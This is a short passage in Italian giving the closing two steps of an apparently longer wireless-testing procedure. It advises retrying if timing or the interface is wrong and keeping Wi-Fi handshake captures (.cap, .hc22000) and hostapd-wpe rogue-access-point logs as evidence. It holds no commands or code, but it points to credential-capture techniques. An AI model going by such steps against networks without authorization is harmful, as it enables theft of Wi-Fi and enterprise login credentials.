  10. Se qualcosa non funziona, ripeti da capo: spesso è solo timing o interfaccia sbagliata.
  11. Conserva tutti i file di cattura (.cap, .hc22000, log hostapd-wpe) come prova.